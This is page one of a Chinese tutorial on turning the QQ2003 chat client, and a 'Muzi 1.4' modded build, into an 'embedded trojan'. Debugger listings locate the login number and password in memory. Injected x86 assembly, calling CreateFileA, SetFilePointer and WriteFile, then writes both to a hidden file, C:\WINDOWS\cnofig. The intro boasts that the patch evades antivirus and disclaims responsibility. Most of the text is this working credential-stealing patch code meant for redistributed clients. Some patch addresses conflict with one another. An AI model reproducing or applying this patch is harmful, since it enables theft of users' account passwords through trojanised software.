木马的作用和危害自不必多说。当前流行的木马，基本都是一个单独的程序，该程序运行在系统中，除了监测用户特定操作，其他和一般程序没什么区别。我这里说的所谓的“嵌入式木马”，并不是一个单独的程序，该“木马”像病毒一样嵌入目标软件，每当该软件被启动，木马程序也就被激活。这种做法好处很明显：1、占用系统资源极少；2、速度快，效率高；3、难以被查杀。
这里用QQ举例，修改QQ程序，让QQ读取用户账号和密码。
需要声明的有以下几点：
1、读取的账号和密码是即将被QQ处理的数据，因此，不管用户输入密码的时候，采用复制或者软键盘，都不会被幸免；
2、不会被木马克星之类的软件查杀。由于市面上QQ修改版很多，估计短期内也不会被各种杀毒软件查杀；
3、我们不对该文章产生的任何后果负责。
4、由于版本问题，如您照此进行试验而未果，我想是很正常的。
盗取QQ2003密码和号码
作者：nbw www.vxer.com
一、查找密码和号码的存放位置
保存号码处:
如果输入号码位数小于5便弹出提示.所以bpx messageboxa.停留在一处,在此处F12,回到外面一层,向上查找,到:
:* Reference To: QQHelperInDll.?CheckQQUinValid@@YAHVCString@@@Z, Ord:0016h
|
:00414D76 FF15BC925300 Call dword ptr [005392BC]
:00414D7C 3BC3 cmp eax, ebx
:00414D7E 59 pop ecx
:00414D7F 74D0 je 00414D51 ;如果小于5便不跳
上面的call追进去,其领空为:QQHelperInDll.dll .进去查看:
:1000A260 8B4508 mov eax, dword ptr [ebp+08] ;[ebp+08]--->用户QQ号码
:1000A263 8B40F8 mov eax, dword ptr [eax-08] ;[eax-08]--->QQ号码的长度
:1000A266 83F805 cmp eax, 00000005 ;判断号码长度是否大于5
:1000A269 7D05 jge 1000A270
保存密码处:
找到了号码存放位置以后,填写号码和密码点下一步(最好填5位以下的密码,这样就不用进入下一个界面).在上面的
mov eax, dword ptr [ebp+08]处拦截下来.下命令d eax,看到自己的号码.向上不远便是自己输入的密码.这个存放密码
的位置是变化的.比如说是在016F:0098EC1C处.下命令bpm 016F:0098EC1C w .回到QQ,再次输入一个密码,被拦截,可以
pmodule回到QQ领空,然后再次F12,跳出来.可以找到关键的call是: :0041370D Call 004FE0A2 这是一个MFC类库中的
函数.有兴趣可以进去看一看,很简单.我就不说了.总之这个函数的返回值是:eax-->密码长度,ecx-->密码存放位置.嘿嘿,
现在密码和号码全都有了.想干什么该我们说了算了.
我这里不能上网:(.. ,也没有QQ登录的纪录.如果有以前的登录纪录,就可以找到密码验证的地方,从而直接看出来密码和号码
的位置,而不用象我这样还要处理QQHelperInDll.dll .
二、保存号码和密码
首先，处理密码的保存。因为密码显示区在QQ主文件领空.比较方便修改.
查找剩余空间:
用我写的"剩余空间查看器"分析,部分结果如下:
名称 RVA OA 尺寸D 可写否
.text 0013737e 0013737e 3202 否
.rdata 0018b756 0018b756 2218 否
就说从文件偏移地址0018b756开始,有2218字节可用空间.但是.rdata段为不可写,无法利用这里的空间声明变量.不过不要紧,用
PEditor把这个节区属性改成可写便可以了.事实证明,整个文件中只有.rdata区段最后的剩余空间可以被正确加载,也只有这区区
2218字节供我们利用:(..
三、修改文件,跳转到我们的代码区
源文件为：
:0041370D E890A90E00 Call 004FE0A2
:00413712 8D8624040000 lea eax, dword ptr [esi+00000424]
:00413718 50 push eax
:00413719 6844010000 push 00000144
:0041371E 57 push edi
改为：
:0041370D E890A90E00 Call 004FE0A2
:00413712 jmp 18b78c ;我们的代码将填写在58b78c
:00413717 nop
:00413718 50 push eax
:00413719 6844010000 push 00000144
:0041371E 57 push edi
中间减少了：
:00413712 8D8624040000 lea eax, dword ptr [esi+00000424] 记录下来，以后补上
四、需要用的函数调用地址
CreateFileA ： 538198
SetFilePointer ： 53819C
WriteFile ： 5381A0
五、填写保存密码的代码
改为:
:0041370D E890A90E00 Call 004FE0A2
:00413712 jmp 18b78c ;我们的代码将填写在537450
:00413717 nop
:00413718 50 push eax
:00413719 6844010000 push 00000144
:0041371E 57 push edi
中间减少了：
:00413712 8D8624040000 lea eax, dword ptr [esi+00000424] 记录下来，以后补上
变量组织:
18b760 : "C:\WINDOWS\cnofig"----保存号码的文件地址.
18b774 : WriteFile函数的一个参数.对我们来说没用.不过不可少
18b780 : 文件句柄 18b784 : 密码地址 18b788 : 密码长度
:0058b78c test eax,eax ;有很多时候需要跳转到这里,如果不加区分就纪录,会导致很多资料被纪录.
如果eax是空,则不纪录.当然,这也或许是用户的密码本身就是空
jz @F
:0058b790 pushad ;代码中多插几个nop。防止以后修改代码的时候没有足够空间
add ecx,eax ;在密码最后面加一个#号用于区分
mov byte [ecx],23
sub ecx,eax
inc eax
mov [0058b784],ecx ;密码地址
mov [0058b788],eax ;密码长度
push 00000000
push 00000002 ;FILE_ATTRIBUTE_HIDDEN,建立文件时使文件属性为隐藏
push 00000004 ;OPEN_ALWAYS.如果不存在该文件,则建立之
push 00000000
push 00000003 ;允许其他进程使用文件(为了不发生意外,所以这样设置)
push C0000000
push 0058b760 ;pointer to name of the file
* Reference To: kernel32.CreateFileA, Ord:0030h
|
Call 538198
mov [0058b780],eax ;保存文件句柄
nop
nop
nop
nop
push 00000002 ;FILE_END.设置文件末尾
push 00000000
push 00000000 ;设定文件指针为文件末尾
push eax
* Reference To: kernel32.SetFilePointer, Ord:0236h
|
Call 53819C
nop
nop
nop
push 00000000
push 0058b774
push [0058b788] ;密码长度
push [0058b784] ;密码地址
push [0058b780] ;文件句柄
* Reference To: kernel32.WriteFile, Ord:029Eh
|
Call 005381A0
popad
@@: lea eax, dword ptr [esi+00000424]
jmp 00013718六、填写保存QQ号码的代码
过程同上面差不多.只不过这里需要修改QQHelperInDll.dll
文件中调用函数为：
:00414D76 FF15BC925300 Call dword ptr [005392BC] ；调用QQHelperInDll.dll中的函数
1、查找剩余空间
分析如下：
.text 00014eb6 00014eb6 330 否
.rdata 0002cb14 0002cb14 1260 否
.data 0002ec94 0002ec94 -3220 可
.rsrc 0002f378 0002e378 3208 否
.reloc 00031b72 00030b72 1166 否
仍然把剩余空间定为.rdata段最后，并把这个段修改为可写。但是这个段也无法全部加载，可用空间从0002cb14截止到0002cbff
2、修改文件,跳转到我们的代码区
源文件：（注意文件偏移地址，比如:1000A260---->A260）
:1000A260 8B4508 mov eax, dword ptr [ebp+08] ;[ebp+08]--->用户QQ号码
:1000A263 8B40F8 mov eax, dword ptr [eax-08] ;[eax-08]--->QQ号码的长度
:1000A266 83F805 cmp eax, 00000005 ;判断号码长度是否大于5
:1000A269 7D05 jge 1000A270
修改为：
:1000A260 jmp 0002cb14
:1000A265 nop
:1000A266 83F805 cmp eax, 00000005 ;判断号码长度是否大于5
:1000A269 7D05 jge 1000A270
少了2句：
mov eax, dword ptr [ebp+08]
mov eax, dword ptr [eax-08] ；记录下来，以后加上
3、填写保存密码的代码
变量组织：
58b760 : "C:\WINDOWS\cnofig"----保存号码的文件地址.
58b774 : WriteFile函数的一个参数.对我们来说没用.不过不可少
58b780 : 文件句柄 58b784 : 密码地址 58b788 :密码长度
:002cb14 pushad ;代码中多插几个nop。防止以后修改代码的时候没有足够空间
mov eax, dword ptr [ebp+08]
mov ecx,eax ;ecx--->用户QQ号码地址
mov eax, dword ptr [eax-08] ;eax--->QQ号码的长度
add ecx,eax ;在密码最后面加一个$号用于区分
mov byte [ecx],24
sub ecx,eax
inc eax
mov [0058b784],ecx ;密码地址
mov [0058b788],eax ;密码长度
push 00000000
push 00000002 ;FILE_ATTRIBUTE_HIDDEN,建立文件时使文件属性为隐藏
push 00000004 ;OPEN_ALWAYS.如果不存在该文件,则建立之
push 00000000
push 00000003 ;允许其他进程使用文件(为了不发生意外,所以这样设置)
push C0000000
push 0058b760 ;pointer to name of the file
* Reference To: kernel32.CreateFileA, Ord:0030h
|
Call 538198
mov [0058b780],eax ;保存文件句柄
nop
nop
nop
nop
push 00000002 ;FILE_END.设置文件末尾
push 00000000
push 00000000 ;设定文件指针为文件末尾
push eax
* Reference To: kernel32.SetFilePointer, Ord:0236h
|
Call 53819C
nop
nop
nop
push 00000000
push 0058b774 ;5ECBe4
push [0058b788] ;密码长度
push [0058b784] ;密码地址
push [0058b780] ;文件句柄
* Reference To: kernel32.WriteFile, Ord:029Eh
|
Call 005381A0
popad
mov eax, dword ptr [ebp+08]
mov eax, dword ptr [eax-08]
jmp 000A266
运行的时候发现，每次向号码框中输入一个数字，QQ便会调用这个函数。所以就是说每向号码框中输入一位数字，便会
产生一次写文件操作。随便跟踪一下，发现调用这个函数的地方在：413f0c 。SO，把：413f0c 处的call去掉便可以了。
<自动保存QQ2003III木子版1.4的号码和密码到指定文件>
软件名称： 腾讯 QQ2003 III 木子版 1.4
软件大小： 1,765,376 字节
应用平台： Win2000，winxp，win98SE
软件类别： QQ
发布主页： http://www.****.com
软件介绍： 不用说
破解工具： ollydbg 1.10（Fly修改版） ，W32DASM10，UltraEdit10.0，c32asm ，剩余空间查看器，PEditor
破解目的： 自动保存QQ木子版1.4的号码和密码到指定文件
破解过程：
一、查找密码和号码的存放位置----准备工作
无壳，直接用W32DASM反汇编，先查找可疑字符串、调用函数等。再用ollydbg 1.10调试，断点就好设了。
先找保存号码处:
我们知道如果输入号码位数小于5便弹出提示，那我们在这里设断，同时用W32DASM反汇编，查找到可疑调用：QQHelperInDll.?CheckQQUinValid@@YAHVCString@@@Z, Ord:0016h
ollydbg 1.10打开QQ.exe,所以bpd messageboxa.
然后找到QQHelperInDll.?CheckQQUinValid所在的messageboxa下断，F9运行，F8查找到:
00414F19 . FF15 C8A25300 call dword ptr ds:[<&QQHelperInDll.Che>; QQHelper.CheckQQUinValid
00414F1F . 3BC3 cmp eax,ebx
00414F21 . 59 pop ecx ;--->可以看到ecx=用户QQ号码
00414F22 .^ 74 D0 je short QQmz14.00414EF4 ；如果小于5便不跳
00414F24 . 8D4D D8 lea ecx,dword ptr ss:[ebp-28]
00414F27 . E8 20A40E00 call <jmp.&MFC42.#540>
上面的00414F19：call追进去,其领空为:QQHelperInDll.dll .进去查看，走到:
0023AEAA 59 pop ecx ; USER32.SendMessageA
0023AEAB 8B45 08 mov eax,dword ptr ss:[ebp+8] ;[ebp+08]--->用户QQ号码
0023AEAE 8B40 F8 mov eax,dword ptr ds:[eax-8] ;[eax-08]--->QQ号码的长度
0023AEB1 83F8 05 cmp eax,5 ;判断号码长度是否大于5
0023AEB4 7D 05 jge short QQHelper.0023AEBB
0023AEB6 6A 02 push 2
返回QQ.exe领空继续走，有些累，暂时先换个思路，以下这是nbw提供的方法，只是他用TRW而已。
保存密码处:
找到了号码存放位置以后,填写号码和密码点下一步(最好填5位以下的密码,这样就不用进入下一个界面).在上面的mov eax, dword ptr [ebp+08]处设断拦截下来.下命令d eax,看到自己的号码.向上或向下不远便是自己输入的密码.这个存放密码的位置每次打开QQ运行是变化的，但只要调试时不关闭重启QQ他是固定的。比如说是在0012EC1C处，右键“转存跟随”，然后下内存访问断点.回到QQ,再次输入一个密码,被拦截,然后F8走，这时注意ecx，eax的值.可以找到关键的call是: 004138B0 Call 004FF4FC ，F8走过这个call这时ecx=QQ密码,eax=密码长度。 这是一个MFC类库中的函数.有兴趣可以进去看一看,很简单.我就不说了.总之这个函数的返回值是:eax-->密码长度,ecx-->密码存放位置。*****************************************
显示QQ 登陆密码 ecx=QQ密码,eax=密码长度
*****************************************
* Reference To: MFC42.Ordinal:08FD, Ord:08FDh
|
:0041389D E854BC0E00 Call 004FF4F6
:004138A2 8D8620040000 lea eax, dword ptr [esi+00000420]
:004138A8 BBB4000000 mov ebx, 000000B4
:004138AD 50 push eax
:004138AE 53 push ebx
:004138AF 57 push edi
* Reference To: MFC42.Ordinal:0942, Ord:0942h
|
:004138B0 E847BC0E00 Call 004FF4FC ;关键call [1]，ecx=QQ密码,eax=密码长度
:004138B5 8D8624040000 lea eax, dword ptr [esi+00000424] ;我们就改这里了！！！
:004138BB 50 push eax
:004138BC 6844010000 push 00000144
:004138C1 57 push edi
* Reference To: MFC42.Ordinal:08FD, Ord:08FDh
|
:004138C2 E82FBC0E00 Call 004FF4F6
......
************************************************
到此号码和密码都有了，但是号码是出现在QQHelperInDll.dll里，由于nbw不能上网 .. ,也没有QQ登录的纪录.如果有以前的登录纪录,就可以找到密码验证的地方,从而直接看出来密码和号码的位置,而不用这样还要处理QQHelperInDll.dll。
我可以上网，那我接下来找一个在QQ.exe里QQ号码存放地址。
我们在关键call [1]那里设个断点，并暂时关闭其他断点，输入QQ号码和密码，重新运行：
004138B0 E847BC0E00 Call 004FF4FC ;我们设断点在这里
中断后，F8一步一步走，这时注意ecx，eax的值，直到看到ecx=QQ号码,eax=号码长度，期间要反复回到004138B0 Call 004FF4FC这个call三四次，最后我们发现这个关键call [2]：:00414B2F Call 004FF62E。
***********************************************
显示QQ号码 登陆，这里ecx=QQ号码,eax=号码长度
***********************************************
* Reference To: MFC42.Ordinal:0C14, Ord:0C14h
|
:00414B28 E817AA0E00 Call 004FF544
:00414B2D 8BC8 mov ecx, eax
* Reference To: MFC42.Ordinal:0F22, Ord:0F22h
|
:00414B2F E8FAAA0E00 Call 004FF62E ;关键call [2]，ecx=QQ号码,eax=号码长度
:00414B34 33DB xor ebx, ebx ;我们就改这里了！！！
:00414B36 395E68 cmp dword ptr [esi+68], ebx
:00414B39 7403 je 00414B3E
:00414B3B 895E6C mov dword ptr [esi+6C], ebx
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00414B39(C)
|
:00414B3E 8D4DE8 lea ecx, dword ptr [ebp-18]
* Reference To: MFC42.Ordinal:021C, Ord:021Ch
|
:00414B41 E806A80E00 Call 004FF34C
:00414B46 8D4DEC lea ecx, dword ptr [ebp-14]
************************
接着往下走就会到这里，也显示ecx=QQ号码或email登陆,但是没有长度
我们改下面也行，不过麻烦一些。
******************
显示QQ号码 登陆
****************
* Reference To: QQHelperInDll.?CheckQQUinValid@@YAHVCString@@@Z, Ord:0016h ；看到明显的提示CheckUinValid
|
:00414571 FF15C8A25300 Call dword ptr [0053A2C8]
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041434E(U)
|
:00414577 3BC3 cmp eax, ebx
:00414579 59 pop ecx
:0041457A 0F8507030000 jne 00414887
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041455C(U)
|
:00414580 807E6401 cmp byte ptr [esi+64], 01
:00414584 7505 jne 0041458B
:00414586 8B45E4 mov eax, dword ptr [ebp-1C]
:00414589 EB12 jmp 0041459D
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00414584(C)
|
:0041458B FF767C push [esi+7C] ；ecx=QQ号码,没有长度
:0041458E 6AFF push FFFFFFFF
:00414590 684C010000 push 0000014C
:00414595 FFB6B0000000 push dword ptr [esi+000000B0]
:0041459B FFD7 call edi
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00414589(U)
|
:0041459D 83F8FF cmp eax, FFFFFFFF
:004145A0 8945E8 mov dword ptr [ebp-18], eax
:004145A3 0F84DE020000 je 00414887
:004145A9 53 push ebx
******************
显示QQ号码email登陆
******************
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00414EF8(C)
|
:00414F82 FF767C push [esi+7C] ；ecx=email,没有长度
:00414F85 6AFF push FFFFFFFF
:00414F87 684C010000 push 0000014C
:00414F8C FFB6B0000000 push dword ptr [esi+000000B0]
:00414F92 FFD7 call edi
.............
**********
**
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00414BEA(C), :00414F22(C)
|
:00414EF4 807E6401 cmp byte ptr [esi+64], 01
:00414EF8 0F8584000000 jne 00414F82 ；跳到00414F82
:00414EFE 8B45DC mov eax, dword ptr [ebp-24]
:00414F01 E98E000000 jmp 00414F94
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00414BBA(C)
|
:00414F06 51 push ecx
:00414F07 8D467C lea eax, dword ptr [esi+7C]
:00414F0A 8BCC mov ecx, esp
:00414F0C 8965D4 mov dword ptr [ebp-2C], esp
:00414F0F 50 push eax
* Reference To: MFC42.Ordinal:0217, Ord:0217h
|
:00414F10 E8F9A50E00 Call 004FF50E
:00414F15 C645FC02 mov [ebp-04], 02
* Reference To: QQHelperInDll.?CheckQQUinValid@@YAHVCString@@@Z, Ord:0016h ；看到明显的提示CheckUinValid
|
:00414F19 FF15C8A25300 Call dword ptr [0053A2C8]
:00414F1F 3BC3 cmp eax, ebx
:00414F21 59 pop ecx
:00414F22 74D0 je 00414EF4
:00414F24 8D4DD8 lea ecx, dword ptr [ebp-28]
..........
........
*****
* Reference To: QQHelperInDll.?CheckEmailValid@@YAHVCString@@@Z, Ord:0012h ；看到明显的提示CheckEmailValid
|
:00414BE1 FF1568A25300 Call dword ptr [0053A268]
:00414BE7 3BC3 cmp eax, ebx
:00414BE9 59 pop ecx
:00414BEA 0F8404030000 je 00414EF4 ；跳到00414EF4
:00414BF0 8D4DE0 lea ecx, dword ptr [ebp-20]
* Reference To: MFC42.Ordinal:021C, Ord:021Ch
|
:00414BF3 E854A70E00 Call 004FF34C
.............
省略
............
********************
分析一下就明白，这是QQ的3种登陆方式，QQ号，email，还有手机，我们就用最前面我们找到的那个CAll，3种方式都在那里开始。
****分析到此，
嘿嘿,现在密码和号码全都有了.想干什么该我们说了算了----这是nbw的原话！
二、保存号码和密码到文件----diy开始！
因为号码、密码显示区都在QQ主文件领空找到，这就比较方便修改了。
1.查找剩余空间:
推荐：
剩余空间查看器：http://nboy.cnwlt.com
作者:牛博威
Email: advice107@sina.com
用牛博威写的"剩余空间查看器"分析,部分结果如下:
******************************************
2004年5月25日，发布木子1.4 版本 QQ.exe
名称 RVA OA 尺寸D 可写否
.text 00138e0e 00138e0e 498 否
.rdata 0018cd26 0018cd26 730 否
.data 001ac2c4 001ac2c4 -12996 可
.rsrc 001b2dc8 001aedc8 568 否
有效剩余空间(字节D)为: 1796
******************************************
我们用.rdata段，就说从文件偏移地址0018cd26开始,有730字节可用空间。但是.rdata段为不可写,无法利用这里的空间声明变量。不过不要紧,用PEditor把这个节区属性改成可写便可以了（方法不罗嗦了，简单）。事实证明，整个文件中.rdata区段最后的剩余空间可以被正确加载，这区区730字节供我们利用 ..足够了！
[本文共有 2 页，当前是第 1 页] <<上一页 下一页>>
